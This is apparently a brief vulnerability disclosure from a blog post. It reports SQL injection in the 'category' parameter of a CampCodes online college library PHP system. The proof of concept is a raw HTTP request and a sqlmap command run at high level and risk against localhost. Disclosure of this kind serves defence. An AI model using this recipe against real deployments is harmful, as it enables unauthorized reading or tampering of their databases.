libsystem foreground SQL injection vulnerability

heishou
2 min readDec 28, 2023

--

Affected Version: 1.0 Manufacturer: www.campcodes.com/ Download Address: https://www.campcodes.com/downloads/online-college-library-system-using-php-mysqli-source-code/? wpdmdl=3277&refresh=658a63d73b4b31703568343
Vulnerability Description: SQL injection vulnerability in foreground

bug finder:heishou

Environment:

Defect Code:
This code assigns the parameter value named ‘category’ in $_GET directly to the $catid variable without any filtering or validation. This could allow attackers to perform SQL injection by constructing malicious input

POC

GET /libsystem/index.php?category=1 HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/libsystem/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

sqlmap:

Sqlmap:python sqlmap.py -u “http://localhost/libsystem/index.php?category=2%27" -p category — level 5 — risk 3

--

--